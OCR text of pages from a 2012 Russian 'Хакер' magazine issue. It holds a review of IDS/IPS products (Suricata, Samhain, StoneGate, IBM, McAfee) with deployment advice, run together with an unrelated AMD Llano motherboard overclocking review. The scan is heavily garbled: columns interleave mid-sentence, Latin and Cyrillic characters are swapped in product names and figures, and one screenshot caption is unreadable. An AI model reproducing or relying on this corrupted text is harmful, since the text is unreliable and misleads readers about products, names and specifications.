можно найти в репозитариях Linux и *В50). В разнообразии предлагаемых решений может запутаться даже профи. Сегодня мы познакомимся с наиболее яркими представите
лями 1D5/IР5-систем.
позтому узкоспециализированные системы уже не актуальны,
Необходимо использовать комплексное многофункциональное
решение, включающее все компоненты защиты: файервол,
i ..Ш,JtiМ,*,
IPS,
Разработчик: 015F (Ореп Information 5eeurity FoundationJ. Web: www.openinfoseefoundation.orq . Платформа: программная.
ОС: Linux, *В5О, Мае 05 Х, 50laris, Windows/Cygwin. Лицензия:
Современный интернет несет огромное количество угроз,
GNU GPL.
Бета-версия этой
1D5/IP5 была представлена на суд обществен
ности в январе 2010-го после трех лет разработок. Одна из главных целей проекта
-
создание и обкатка совершенно новых технологий
обнаружения атак. За
5uricata
стоит объединение
OI5F,
IDS/
€lНТИВИРУС, прокси-сервер, контентный фильтр и аНТИЕпам
фильтр. Такие устройства получили название UTM (Unilied Threat Management, объединенный контроль угроз). В качестве примеров UTM можно привести Trend Micro Оеер Security (ПL. trendmicro.com ), Kerio Control (ker io.ru ), Sonicwall Network Security (sonicwall .com ), FortiGate Network Security Platlorms and Appliances (fortine t .com ) или специализированные дистрибутивы Linux, такие как Untangle Gateway, IPCop Firewall, рlSепsе (читай их обзор в статье «Сетевые регулировщики», ][_01_2010).
которое
пользуется поддержкой серьезных партнеров, включая ребят из
U5 Oepartment 01 Homeland 5ecurity. Актуальным на сегодня является релиз под номером 1.1, вышедший в ноябре 2011 года. Код проекта распространяется под лицензией GPLv2, но финансовые партнеры
и парсит протоколы
[IP, ТСР, UOP, ICMP, НТТР, TL5, ПР, 5МВ, 5МТР
и 5СТР), поэтому в правилах необязательно привязываться к номеру
имеют доступ к не GРL-версии движка, которую они могут использо
порта [как зто делает
вать в своих продуктах. Для достижения максимального результата
нужного протокола.
5nort), достаточно лишь задать действие для Ivan Ristic, автор Mod_security, создал специ НТР, при меняемую в 5uricata для анализа НТТР
к работе привлекается сообщество, что позволяет достигнуть очень
альную библиотеку
высокого темпа разработки . Например, по сравнению с предыдущей
трафика. Разработчики прежде всего стремятся добиться точности
версией
1.0, объем кода в 1.1 вырос на 70%. Некоторые современные 105 с длинной историей, в том числе и 5nort, не совсем эффективно
обнаружения и повышения скорости проверки правил.
используют многопроцессорные/многоядерные системы, что при во
стандартные утилиты для их анализа. Собственно, все бэк-энды,
дит к проблемам при обработке большого объема данных.
интерфейсы и анализаторы, написанные для 5пог! [Barnyard, 5nortsnarf, 5guil и т. д.), без доработок работают и с 5uricata. Это
5uricata
изначально работает в многопоточном режиме. Тесты показывают,
что она шестикратно превосходит 5пог! в скорости [на системе с 24 CPU и 128 ГБ ОЗУ) . При сборке с параметром '--епаbIе-сudа' появляется возможность аппаратного ускорения на стороне
Изначально поддерживается
Вывод результатов унифицирован, поэтому можно использовать
тоже большой плюс. Обмен по НТТР подробно журналируется в файле стандартного формата
Apache.
Основу механизма детектирования в
GPU.
5uricata
составляют пра
вила [rules). Здесь разработчики не стали пока ничего изобретать,
IPv6 [в 5пог! активируется ключом
'--епаbIе-iрv6'), для перехвата трафика используются стандартные
а позволили подключать рулсеты, созданные для других проектов:
хвата , декодирования, анализа или обработки пакетов. Блокировка
50urcefire VRT [можно обновлять через Oinkmaster), Ореп50игсе Emerging Threats [hemerg ingthreats.net) и Emerging Threats Рго [eme rgi ngthrea tsg ro.co m). В первых релизах поддержка была лишь
про изводится средствами штатного пакетного фильтра ОС [в Linux
частичной, и движок не распознавал и не загружал некоторые
для активации режима
правила, но сейчас эта проблема решена. Реализован и собствен
интерфейсы:
LibPcap, NFQueue, IPFRing, IPFW.
Вообще, модульная
компоновка позволяет быстро подключить нужный элемент для за
IP5 необходимо установить библиотеки netlink-queue и libnfnetlink). Движок автоматически определяет
ный формат
rules,
внешне напоминающий снортовский. Правило
состоит из трех компонентов: действие
[pass, drop, reject или alert),
заголовок [IР/порт источника и назначения) и описание [что ис 'ВМ
Internet Securlty Systems Ahead of the threat. T"
SIg1" 1155 WМCtМde I 00Wr*N!IdS I fflesIDf Rel«lI"-'s 1С8'ееР.;
кать). В настройках используются переменные [механизм flowint),
CJ
позволяющие, например, создавать счетчики. При этом информа
~se.uJ
цию из потока можно сохранять для последующего использования.
Такой подход, при меняемый для отслеживания попыток подбора Current Intemet
Тhreal
пароля, более эффективен, чем используемый в 5пог! метод, кото
Level
рый оперирует пороговым значением срабатывания. Планируется
создание механизма
IP Reputation [вроде 5ensorBase Cisco, см. Cisco» в JC07_2011). отмечу, что 5uricata - это более быстрый движок,
статью «Потрогай Резюмируя, RegUS"'o'Ig.tance
OrdIrwyactМtyС0ЩJf'0fТl5esllf1~ntlwOO(mirJ.te5lDhotrslll!«
nt5tbeingcorntCtedtolhtlrUm8l.
MtJ/I:lpll VulnerabUItI. , In А secи1ty reseaгcherha!
ЗС дDА Sy$lIm. 1.1W&i1e<114 sea.nty
acмsмм IOf~Мj&Stn SЦ>eМ~
Ccnrol8'ld Data AoquiSlbon (SCЮA) sys/8ml from 8 WndI:n Inct.dng Sc:adaPro 81d syl;t8ms
med8 ьу
RocIМl
Мultlpll VuheПlbllltl..
1n SCAOA Sy$ltm.
WeU'g8~jIМWedWl"lnc1.I5Inllleot*Dl5ys8m5(ICSI.SC.IOrд~.n:lL.4ilibe,1o
eк8'nII"I8"'~shedЮtsorr.s.,,*Гlf1fr8St'UCtl.n.n:lconaI'fIIIh"~ P8l'k:l.Мrly
Int!ti 01 rec«teo.wis In h newsamlht .st.nceofProol' ofCor1Ce1tcode'll'll'tlhese DSOl'1eS. operэD:Jrs shotjd t'JC8f'CIW 1I'ICfU:Wd~. 11'1 montonng
IhI!r S;YSНfМ
SCДDA.
Issueswere~lпаrecenlXFТгerюsPlA:*с8bOn
SURICATA -
ЭТО БОЛЕЕ
БblСТРblЙ ДВИЖОК, ЧЕМ SNORT, ПОЛНОСТЬЮ СОВМЕСТИМblЙ С НИМ ПО ПРАВИЛАМ И
в продуктах
128
IBM задействованы наработки онлайн-сервиса GTOC и X-Force
БЭК-ЭНДАМ ХАКЕР
02/157/2012
Новые доспехи для П-инфраструктуры
Terminal .!!!аЙл
Правка
~ид
ПQИСК
Iерминал
ВJY\адки
~правка
~
Terminal GNU
папа
Файл
2.2.6
-
+
х
I
mc [root@grinder]:/Var/cache/apt/archives
/etc/samhaln/samhalnrc
## ## Add ог subtract tests from the policies ## - if you want to change their definitions, ## you need to do that before using the policies ## # RedefReadOnly = (по default) # RedefAttributes=(no default) Ш RedefLogFiles=(no default) # RedefGrowingLogFiles=(no default) # RedefIgnoreAll=(no default) # RedefIgnoreNone=(no default) # RedefUser0=(no default) # RedefUserl=(no default) [Attributes] ## ## for these files, only changes in permissions and ownership аге checked ## file=/etc/mtab file=/etc/ssh random seed file=/etc/asound.conf file=/etc/resolv.conf file=/etc/localtime file=/etc/ioctl.save file=/etc/passwd.backup file=/etc/shadow.backup file=/etc/postfix/prng exch file=/etc/adjtime file=/etc/network/run/ifstate file=/etc/lvm/.cache file=/etc/ld . so.cache #
Е Записать Выровнять
rв Помощь
IJ
Е Выхо"
ra
в ЧитФайл Поиск
ID
I!J
Вырезать ОтмВырезк
Ii ТекПозиц Ii Словарь
в конфиге Samhain указывается, какие файлы необходимо контролировать
чем 5nort, полностью совместимый с ним по правилам и бэк-эндам и способный проверять большие сетевые потоки. Единственный недостаток проекта
-
скудная документация, хотя опытному ад
мину ничего не стоит разобраться с настройками. В репозиториях
Программа может быть запущена в невидимом режиме [задей ствуется модуль ядра), когда процессы ядра невозможно обнаружить в памяти.
5amhain также поддерживает мониторинг нескольких
узлов, работающих под управлением разных ОС, с регистрацией всех
дистрибутивов уже появились пакеты для установки, а на сайте
событий в одной точке. При этом установленные на удаленных узлах
проекта доступны внятные инструкции по самостоятельной сборке
агенты отсылают всю собранную информацию [ТСР, АЕ5, подпись)
из исходников. Есть и готовый дистрибутив 5mooth-sec [bailey.st! bIog !smooth-sес ), построенный на базе 5uricata .
по зашифрованному каналу на сервер [yule), который сохраняет ее
в БД [My5QL, Postgre5QL, Oracle). Кроме того, сервер отвечает за про верку статуса клиентских систем, распространение обновлений
1.i41i1t.iill
и конфигурационных файлов . Реализовано несколько вариантов для
Разработчик: Samhain Labs. Web: www.la-samhna .de/samhain.
оповещений и отсылки собранной информации: e-mail [почта подпи
Реализация:программная.
Nagios, консоль и др. Управление можно осуществлять с помощью
ОС: Unix, Linux, Windows/Cygwin.
нескольких администраторов с четко установленными ролями .
Лицензия:
Пакет доступен в репозитариях практически всех дистрибути
GNU GPL
Выпускаемый под Ореп50uгсе-лицензией к хостовым
сывается во избежание подделки), syslog, лог-файл [подписывается),
5amhain относится
105, защищающим отдельный компьютер . Он использу
вов Linux, на сайте проекта есть описание, как установить 5amhain под Windows.
ет несколько методов анализа, позволяющих полностью охватить
все события, происходящие в системе:
• • • •
STONEGATE [NTRUSION PREVENTION SYSTEM
создание при первом запуске базы данных сигнатур важных
Разработчик: StoneSoft Corporation.
файлов и ее сравнение в дальнейшем с «живой» системой;
Web: www.stonesoft.com.
мониторинг и анализ записей в журналах;
Реализация: программно-аппаратная, образ VMware.
контроль входа/выхода в систему;
ОС: 32/64-битные Windows 2k3/Vista/7/2k8R2, Linux (CentOS,
мониторингподключений коткрытым сетевым портам;
RHEL,SLES).
контроль файлов с установленным 5UID и скрытых процессав.
Лицензия: коммерческая.
ХАКЕР
02/157/2012
129
SYN\ACK
Э т о реше н ие р азрабо т ано финской ком п а н ией, ко т о р ая за
Management Server, Log Serve r
и
Ma nage ment Clie nt. Консол ь IPS и соз давать н о вы е
нимается соз д а н ием пр о д ук т ов корпо р атив н ого к л асса в сфере
поз в ол я е т н е то л ько н ас тр аи в ать рабо т у
сетевой безо п ас н ости . В нем р еа л изованы все в ос тр ебо ванны е
пра в и л а и по л и т ики, н о и п ро из в о д ить мо нит о рин г И пр осма тр и
фу н к ц ии:
за щ ита от
и Oday - атак, веб-фил ыр а ц ия,
л ожения IP 2P, 1 М и п ро ч ееl. Д ля веб-филы р а ц ии ис п ол ь зуе т ся
Java, поэ т о м у д осту пны в е р сии Wind ows и Linu x. Stone Gate IPS п ос т а в ляе т ся к а к в ви д е аппар а тно го ко м пл екса, так и в вид е образа VMwa re. П ос л е дн ий пр е дн аз н ачен
постоянно обновляемая база сай т ов, разделе н ных н а н есколько
д ля установки н а собстве н ном оборуд ова н ии и л и в ви р т уа л ьно й
IP S,
00 05 -
п о дд ержка за ш и ф ро ва н н о г о т р а ф и ка и т. д . С п ом ощью
IP S мож н о
заб л оки р оват ь в ирус,
spyware,
ва т ь журн алы . Она н а п иса н а н а
Sto neGate
о пр е д еленные п р и
дл я
категорий . Особое внимание уделяется защите от обхода сис т ем
инфраструк т у р е. И кста т и , в отли ч ие о т соз д а т е л ей м н о г их п о
безопасности АЕТ IAdvanced Evasion Techniquesl . Техноло г ия
добftых ре ш ений, ком п ания-разрабо т чик д ае т скача т ь т еет овую
Transparent Access Control
позволяет разбить корпоративную
версию образа.
сеть на несколько вир т уальных се г ментов без изменения реаль ной топологии и устано в ить для каждого из них индивидуальные
~
политики безо п асности . П олитики проверки трафика настраи
IBM _ Web: www.ibm.com/ru . Разработчик:
ваются при п омощи ш аб л онов, со д ержащих типовые п рави л а .
Эти политики создаются в офлаЙн - режиме. А д министратор п роверяет соз д а н ные п о л и т ики и за г ружает их на у д ален н ые
Реализация : программно-аппаратная, образ VMwaгe .
уз лы
Лицензия : коммерческая.
IP S. П охожие
собы т ия в
Sto neGate IPS
обраба тыв аю т с я
п о прин ц и п у, ис п о ль зуемому в S I М/S IЕ М-системах, ч то суще
Система п р е д о твр а щ ения атак, р аз р а б ота нн ая
IB M,
ис п о ль
ственно обле г чает анализ. Н есколько устройств л е г ко мож н о
зуе т запа т енто в а нн ую тех н ологию а н а л иза п ро т око л о в , кото р а я
объедини т ь в класте р и и нт е г рировать с др угими ре ш е н иями
обеспечивает пр е в е н ти в ную за щ и т у в том ч ис л е и о т Оd ау-у гр оз .
StoneSoft - StoneGate Firewall!VPN и StoneGate SS L VPN. Упра в
Как и у всех п ро д укто в серии
ление при этом обес п ечивае т ся из единой консоли у п р ав ления
мо д уль анализа п ро т околов -
IStопеGаtе
сочетающий в ,ебе традиционный сигна т у р н ы й м ето д об н аруже-
Management Centerl, состоящей из трех компонентов :
IBM Secur ity, его осно в ой является РАМ IProtoco l Analysis Modu lel,
Terminal ~айл
~YAML
Правка
!!ид
ПQИСК
Iерминал
- $ cat
~правка
/еtс/suгiсаtа/suгiсаtа-dеЬiап.уаm1
1.1
~ ~
Number of packets a110wed to Ье processed simu1taneous1y. Defau1t is а conservative 50. а higher number wi11 make sure CPU's/CPU cores wi11 Ье ~ тоге easi1y kept busy, but wi11 negative1y impact caching. ~ ~ If you аге using the CUDA pattern matcher (b2g cuda be1ow), different ru1es ~ арр1у. In that case try something 1ike 4000 ог-тоге. This is because the CUDA ~ pattern matcher scans many packets in рага11е1. ~max-pending-packets: 50 ~ ~
Set the order of a1erts bassed оп actions The defau1t order is pass, drop, reject, a1ert action-order: - pass - drop - rej ect - a1ert
~ The defau1t logging directory.
Any log ог output fi1e wi11 Ье а fu11 path name. This сап Ье # overridden with the -1 command 1ine parameter. defau1t - 1og - dir: /var/1og/suricata
# p1aced here if its not specified with
# Configure the type of a1ert (and other) logging you wou1d 1ike.
outputs: Кон ф игур аци о нн ы й фа й л
130
Suricata п о няте н те м,
к то возился с настро й ками
Snort
ХАКЕР
02/157/20 12
Новые доспехи для IТ-инфраструктуры
ния атак [Ргоvепtiа ОрепSigпаtuге) и поведенческий анализатор. При этом РАМ различает
218
протоколов уровня приложений
[атаки через VoIP, RPC, НТТР и т. д.) И такие форматы данных, как ООС,
XLS, POF, ANI, JPG,
чтобы предугадывать, куда может
быть внедрен вредоносный код . Для анализа трафика исполь зуется более
3000
алгоритмов,
200
из них «отлавливают»
OoS .
Функции межсетевого экрана позволяют разрешить доступ
только по определенным портам и
IP,
исключая необходимость
привлечения дополнительного устройства. Технология
Patch
Virtual
блокирует вирусы на этапе распространения и защищает
A-ccess Rights
компьютеры до установки обновления, устраняющего критиче скую уязвимость. При необходимости администратор сам может
~ Alert Configuration
создать и использовать сигнатуру. Модуль контроля приложений
1···· ~ Alert Chains
позволяет управлять Р2Р, 1М, ActiveX-элементами, средствами
VPN
и т. д. И при необходимости блокировать их. Реализован мо
дуль
OLP,
'
отслеживающий попытки передачи конфиденциаль
ной информации и перемещения данных в защищаемой сети, что позволяет оценивать риски и блокировать утечку. По умолчанию
распознается восемь типов данных [номера кредиток, телефо ны ... ), остальную специфическую для организации информацию админ задает самостоятельно при помощи регулярных выраже
ний . В настоящее время большая часть уязвимостей приходится на веб-приложения, поэтому в продукт модуль WеЬ Аррliсаtiоп
Security,
входит специальный
iпjесtiоп,
SQL
hijасkiпg, РНР filе-iпсludегs,
CSRF
LOAP
iпjесtiоп,
-
StoneGate IPS
MCAFEE NETWORK
SECURIТY
PLATFORM 7
Разработчик:
McAfee Inc. Web: www.mcafee.com. Реализация: программно-аппаратная. IпtгuShiеld
IPS,
выпускавшийся компанией
McAfee,
в свое время
был одним из популярных IPS-решениЙ. Теперь на его основе раз
и т . д.
Предусмотрено несколько вариантов действий при обнару жении атаки
КОНСОЛЬ управления
Лицензия: коммерческая.
который защищает системы
от распространенных видов атак:
XSS, JSON
IBM
~
L:=.i
блокировка хоста, отправка предупреждения,
запись трафика атаки [в файл, совместимый с tcpdump), поме
работан McAfee Network Security Platform 7[NSP) . В дополнение ко всем функциями классического
NIPS
новый продукт п.олучил
инструменты для анализа па кетов, передаваемых по внутренней
щение узла в карантин, выполнение настраиваемого пользова
корпоративной сети, что помогает обнаруживать зловредный
телем действия и некоторые другие. Политики прописываются
трафик, инициируемый зараженными компами. В
вплоть до каждого порта, IP-аАреса или зоны
пользуется технология
Availability
VLAN.
Режим
Hi gh
IPS,
McAfee
имеющихся в сети, трафик пойдет
миру, и оценивает репутацию всех проходящих уникальных фай
через другое, а установленные соединения не прервутся. Все
лов,
подсистемы внутри железки
обнаруживать трафик ботнета, выявлять Оdау-угрозы и
охлаждения
-
-
RAIO,
блок питания, вентилятор
дублированы . Настройка, производящаяся при
помощи веб-консоли, максимально проста [курсы обучения
IBM Security SiteProtector,
IP-
и URL-аАресов и протоколов. Благодаря этому
NSP может OOoS-
атаки, а такой широкий охват позволяет свести к нулю вероятность ложного срабатывания.
длятся всего один день). При наличии нескольких устройств обычно приобретается
ис
Iпtеlligепсе, которая собирает
информацию с сотен тысяч датчиков, установленных по всему
гарантирует, что в случае выхода из строя одного
из нескольких устройств
Global Threat
Не каждая
который обе
IDS/IPS может работать в среде виртуальных машин, NSP
ведь весь обмен происходит по внутренним интерфейсам. Но
спечивает централизованное управление, выполняет анализ
не испытывает проблем с этим, он умеет анализировать трафик
логов и создает отчеты.
между
VM,
а также между
VM
и физическим хостом . Для наблюде
ния за узлами используется агентский модуль от компании
Systems,
который собирает информацию о трафике в
VM
Reflex
и передает
ее в физическую среду для анализа.
ГДЕ РАЗВЕРНУТЬ
Движок различает более
IDS/IPS?
на седьмом уровне
OSI.
1100 приложений,
работающих
Он просматривает трафик при помощи ме
ханизма контент-анализа и предоставляет простые инструменты управления.
Чтобы максимально эффективно использовать
IDS/IPS,
нужно
Кроме Ргеvепtiоп
придерживаться следующих рекомендаций:
NIPS, McAfee выпускает и хостовую IPS - Host Iпtгusiоп for Oesktop, которая обеспечивает комплексную защиту
Систему необходимо разворачивать на входе защищаемой сети
ПК, используя такие методы детектирования угроз, как анализ
или подсети и обычно за межсетевым зкраном (нет смысла
поведения и сигнатур, контроль состояния соединений с помощью
контролировать трафик, который будет блокирован) -так мы
межсетевого экрана, оценка репутации для блокирования атак.
снизим нагрузку. В некоторых случаях датчики устанавливают
ЗАКЛЮЧЕНИЕ
и внутри сегмента.
Перед активацией функции
IP5 следует
Победителей определять не будем. Выбор в каждом конкретном
некоторое время
погонять систему в режиме, не блокирующем
ID5.
В дальнейшем
случае зависит от бюджета, топологии сети, требуемых функций
потребуется периодически корректировать правила.
защиты, желания админа возиться с настройками и, конечно же,
Большинство настроек
рисков. Коммерческие решения получают поддержку и снабжаются
IP5 установлены
с расчетом
на типичные сети. В определных случаях они могут оказаться незффективными, позтому необходимо обязательно указать
IP
сертификатами, что позволяет использовать эти решения в орга низациях, занимающихся в том числе обработкой персональных
внутренних подсетей и используемые приложения (порты). Это
данных Распространяемый по ОрепSоuгсе-лицензии Sпогt пре
поможет железке лучше понять, с чем она имеет дело .
красно документирован, имеет достаточно большую базу и хоро
Если IРS-система устанавливается «в разрыв», необходимо
ший послужной список, чтобрl быть востребованным у сисадминов.
контролировать ее работоспособность, иначе выход устройства
Совместимый с ним
из строя может запросто парализовать всю сеть.
шим трафиком и, главное, абсолютно бесплатен.:::И::
ХАКЕР
02/157/2012
Suricata
вполне может защитить сеть с боль
131
FERRUM
Сергей Пnотников
~
я ТВОИ
SA DYBRIDGE ТРУБА :
:
:
. .' 1,'
", ~ 'j ~=- ~~~ '. ----.--/ / ~--
, - '
'
~
,-,-
"
,
,"?),/;::
' Cr --------
-~
,
"
11'
.. , . , ' ,
Ассимиляция! Пожалуй , этим заумным
словом можно охарактеризовать потуги
Intel
и АМD выпустить кремниевое устройство «всё
Особняком в нашем тесте стоит материн-
ская плата
ASUS F1A75-V PRO.
Компания
производитель не постеснялась и буквально
В одном». И если у первых графика, как всег
навешала на свое устройство всякого рода
да, хромает на обе ноги, то у «к расных » кишка
фенечки: от абсолютно бесполезных до реаль
тонка тягаться со своим конкурентом в сфере
но крутых! Чуть забегая вперед, скажем,ЧТО
xB6-приложениЙ .
для создания достаточно производительного
В сегодняшнем тесте ты познакомишься с достаточно дорогими моделями, пропа гандирующими не только оверклокинг, но и,
десктопа на «маме» лучше не экономить.
О каких же деньгах тут идет речь? Если
например, массивы видеокарт. В связке
мент написания статьи топовый камень АМD
АВ-ЗВ50 стоил
4000
и полноценный дуэт графических адаптеров,
памяти объемом
10 том ,
Правда, в плане
«об ычной » производительности, то есть в xB6-приложениях, АМD
Sandy Bridge . И
Llano
уступает
Intel
тем не менее, хороший раз
гонный потенциал позволяет собрать на базе
2,9
ГГц
NINJАЗ
Оперативная память : Corsair CMGTX71iJ2400 МГц, 1х4 Гб SSD: Kingston SVP100ES2/64G,
64Гб Бnок питания: HIPER ТУРЕ К1000, 1000 Вт ОС : Windows 7 Максимальная
рублей . Столько же стоит
4 Гб
и частотой
2400
МГц
почему мы рекомендуем память с часто той именно 2400 МГц, читай далееl придется выложить порядка
7000
комплектующие
по вкусу_ В итоге за связку
-
рублей. Остальные
процессор-плата-память придется отдать
процессара АМD АВ/А6 шуструю игровую
порядка
машинку_
много за топое железо!
132
Scythe
материнская плата. За набор оперативной
объединенных в
CrossFireX.
Купер :
верить ресурсу « Яндекс Маркет», то на мо
сАМО
Llano можно использовать технологию АМD Dual' Graphics, а в некоторых случаях
Процессор: АмD А8-З850,
15000 рублей.
Согласись, не так уж и
ХАКЕР
02/157/2012
Позови
NAS
к себе
ASROCKA75 PRO' так , мы начинаем . Первой по алфавиту идет материнская пла та
ASRock
А75 Рг04. Перед нами сразу же предстает топовое
устройство! Об этом красноречиво свидетельствует наличие
та к и х оверклокерских фишек, как кнопки эапуска/перезагрузки си стемы и обнуления настроек
BIOS. Вообще ,
на базе « четвертой » никто
не помешает тебе собрать достаточно производительный десктоп. Правда, с разгоном у нас дела как-то не заладились. Все попытки поднять шину выше отметки
105
МГцзакончились « выпадением » 5АТА
контроллера. В итоге система вроде бы работала стабильно [по крайней мере в B1051, но зайти в операционную систему не получалось . Попытки разогнать « камень » И память с помощью функции
Mode также
~
EZ ОС
провалились . Для тех, кто не в курсе, поясним: теорети
чески достаточно клацнуть в
B105'e всего один раз, чтобы разогнать CPU до 3300/3400/3500/3600 МГц и « мозги » до 2000/2200/2500 МГц. Но не тут-то было! Не сра-бо-та-ло! Перепрошивка BIOS до версии 1.80 никаки х дивидендов не принесла . В общем , очевидно, что прошивка
A5Rock
А75 Рг04 оставляет желать лучшего. Остается лишь надеяться ,
что со временем эта проблема будет решена.
ASROCKA75 EXТREME6 ак говорится, первый блин комом. Посмотрим, что удастся выжать из
A5Rock А75 Extreme6. Вообще , линейка Extreme6
является гордостью тайваньской компании . Внедалеком прошлом мы уже изучали материнские платы на базе чипсета Iпtеl
Р67
Express.
Настало время АМО. Прошли те времена, когда с
A5Rock
ассоциировались исключительно бюджетные решения . Но стопового
...
продукта и спрос соответствующий . Материнская плата A5Ro ck А75 Extreme6 в своем роде уникальна: на текстолите распаяно сразу три порта PCI Express х 16 . Правда, в случае использования массива видео карт CrossFireX работать они будут по схеме х8 + х8 + х 4. В плане разгона A5Rock А75 Extreme6 оказалась пошустрее « прош ки » . Однако скажем сразу: нам не удалось достичь даже покаэателей ч уть выше среднего . После увеличения частоты шины до
112 МГц 112 х 29 = 3248 МГц, а память-112 х 18,66=2089,92 Mode также оказалась абсолютно бесполезной .
процессор с частотой
МГц . Функция
EZ ОС
Плюс на базе АМО Llапо можно собрать медиа
кластер АМО Llапо буквально преображается
фики, но В с реде
центр любой сложности . В общем, с АМО Llапо
и из гадкого утенка в великолепного лебедя .
чает не меньше
не соскучишься
Не так давно компания
-
он предоставляет обширный
GIGABYTE
представила
DirectX 9. « Отлично » - озна 25 FP5. При этом выставляли с ь
максимальные множители памяти и процессо
простор для творчества.
ролик, в котором было покаэано, как на маши
ра. Для более полного анализа мы во с пользо
не с процессором АМО А8-3850, разогнанным
вались финским бенчмарком
МЕТОДИКА ТЕСТИРОВАНИЯ
до
и выбрали режим те с та регfогmап с е. Наконец ,
Опять возвращаемся к разгону. Удивительно
Повторим, в
приятно осознавать, что оверклокинг платы су
примеру инженеров тайваньской компании
мы снижали множители «камня »
щественно повышает производительность всей
и установить рамку. Оценку « отлично » получали
и определяли максимальный потолок ча с тоты
системы. За счет набора множителей процессо
те платы, при использовании которы х удава
шины у матерински х плат, которого удало с ь до
ра и оперативной памяти разгон « мам » по шине
лось спокойно играть в
стичь при воздушном охлаждении. Все резуль
дают колоссальный эффект. Так , графический
1920 х 1080 точек
ХАКЕР
02/157/201 2
3600
МГц, преспокойно играют в
Crysis 2! Мы
Crysis 2.
решили последовать
Crysis 2 с
раэрешением
и максимальном качестве гра-
3DMark Vапtаgе
после тестирования на игровы х прило же ния х И памяти
таты эаносились в сводные диаграммы .
1ЗЗ
FERRUM
ASUS F1A75-1 DELUXE
m
нтересный концепт материнской платы представила компа
ния
ASUS.
Устройство
F1A75-1 Deluxe
выполнено в формфак
торе Мiпi-IТХ и при этом оснащено полноценным слотом
Express
PCI
х16 . Из-за габаритов остальным слотам места не нашлось .
Но горевать не стоит. Слово
Deluxe
в названии текстолитового гад жета
говорит о поддержке беспроводных технологий В общем,
Wi-Fi
и
Bluetooth .
идеальный вариант для тех, кто хочет
ASUS F1A75-1 Deluxe -
собрать НТРС в микроскопическом корпусе. Удивительное рядом: эту плату оснастили вполне боеспособными функциями разгона. Хорошо
знакомый UEFI BIOS великолепно оптимизирован. Благодаря этому наша крошка выдала на-гора
118
гона процессор заработал на частоте на частоте
118 х 18,66 = 2201,88
~
МГц по шине. После такого раз-
118 х 29 = 3422
МГц, а память-
МГц. Большего достичь в любом случае
не удастся. Хо тя бы потому, что на процессор не получится установить
мощный габаритный кулер. Он либо не влезет, либо перекроет опера тивную память и слот
как, например,
PCI Express х 16. е другой стороны, такой кулер, Scythe Big Shuгikеп, позволит одновременно охлаж-
дать и процессор, и память, и подсистему питания материнской платы.
ASUS F1A75-V PRO
m
атеринская плата
ASUS F1A75-V PRO
уже гостила в нашей
тестовой лаборатории. Не так давно в рубрике « Разгон » именно она служила путеводной звездой во время пробного
разгона АМD
Llano.
И, надо при знаться, показала себя только с лучшей
стороны! В этот раз нам удалось стабильно работать на частоте шины
140
МГц. При такой частоте тактового генератора процессор может
работать с частотой
18,66=2612,4
140 х 29 = 4060
МГц, а память
-
с частотой
140 х
МГц. Но , к сожалению, в первом случае воздушная систе
ма охлаждения не справилась с разгоряченным «камнем». В случае
с ОЗУ нужно еще постараться найти такой кит. В итоге нам пришлось
...
снизить частоту шины и проходить тесты при меньших показателях «камня» И памяти. Тем не менее, рубеж
25 FPS
в
Crysis 2 был
пройден!
Как мы и обещали, плата получает оценку «отлично» . Для тех, кому подобная прыть от АМD
Llano
покажется недо
статочной, предусмотрена поддержка двух слотов
pel Express
х16,
работающих согласно схеме х16 + х4. Также ты можешь рассчитывать на парочку
PCI Express х1
и трио
pel . Эквивалентный функционал SATA- и USВ-портов послед материнскую плату ASUS F1A75-V PRO
в совокупности с большим количеством них поколений превращает
в универсальное устройство.
ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ
ASRock А75 Рго4
ASUS F1A75-1 Deluxe
ASRockA75 Extreme6
FM1 1066-2400 МГц 1х РСI Express х16, 1х РСI Express х4, 2х РСI Express х1, 3х РСI 5х SATA3.0 7.1 СН НО Realtek ALC892 Realtek RTL8111E, 10/100/1000 Мбит/с
FM1 1066-2400 МГц 1х РСI Express х16, 1х РСI Express х8, 1х РСI Express х4, 1х РСI Express х1, 3х РСI 8х SATA3.0 7.1 СН НО RealtekALC892 Realtek RTL8111E, 10/100/1000 Мбит/с
Разъемы на задней панели:
1х O-Sub, 1х OVI, 1х HOMI, 4х USB 3.0, 2х USB 2.0, 1х eSATA, 1х FireWire, 1х S/POIF, 1х RJ-45, 1х PS/2, 5х audio
1х
O-Sub, 1х OVI, 1х HOMI, 4х USB 3.0, 2х USB 2.0, 1х OisplayPort, 1х OVI, 1х HOMI, 2х USB 3.0, 4х eSATA, 1х FireWire, 1х S/POIF, 1х RJ-45, 1х USB 2.0, 1х eSATA, 1х FireWire, 1х S/POIF, 1х RJPS/2, 6х audio 45, 1х PS/2, 1х Bluetooth, 3х audio
Формфактор:
АТХ
АТХ
Сокет: Память : Слоты расширения: Дисковые контроллеры: Аудио: Сеть:
134
FM1 1066-1866 МГц 1х РСI Express х16 5х SATA 3.0 7.1 СН НО Realtek ALC892 Realtek RTL8111E, 10/100/1000 Мбит/с; Wi-Fi 802.11 bIg/n
1х
Mini-IТX
ХАКЕР
02/157/2012
Позови
NA5
к себе
GIGABYТE GA-A75M-D2H
liI
ознакомимся с материнской платой
GIGABYTE GA-A75M-D2H.
Как видно по картинке, перед нами устройство формфактора тАТХ . Во многом из-за этого инженерам тайваньской компании
пришлось уменьшить число слотов
DIMM до двух.
Но порты для ОЗУ рас
положены настолько близко к процессорному гнезду, что при использо
вании габаритного кулера башенного типа киты попросту не поместятся. В ходе тестирования нам пришлось снимать систему охлаждения с кита
оперативки. Поэтому советуем внимательно отнестись к выбору системы о х лаждения
CPU.
Вторым недостатком разводки
GIGABYTE GA-A75M-D2H
мы считаем распаянные 5АТА-коннекторы . Но он проявится только при
использовании габаритной видеокарты . В остальном к столь миниа-
~
тюрной плате претензий по разводке нет. Назовите автора зтой статьи
с та ромодным , но как же приятно работать с прежним
BI05'OM от Award.
Привычный голубой экран, привычное меню М . I.т. и никакой поддержки мыши l Это, возможно, совпадение, но именно бюджетная материнская
плата GIGABYТE
GA-A75M-D2H
с таким
BI05'OM
продемонстрировала
достаточно неплохие результаты разгона . И зто при наличии скромных по сегодняшним меркам пяти фаз питания
CPU. При увеличении частоты 128 МГц «камень» заработал с частотой 128 х 28 = 3584 МГц, а память - с частотой 128 х 18,66 = 2388,5 МГц. Максимальная частота шины дос тигала 134 МГц. шины до
MSI A75MA-G55 ак получилось, что в сегодняшнем тесте участвовал всего
один продукт компании М51. Материнская плата М51
A75MA-G55
может постоять за себя, ведь на страже стабиль
ности устройства, да и всей системы, стоит технология
11.
Military Class
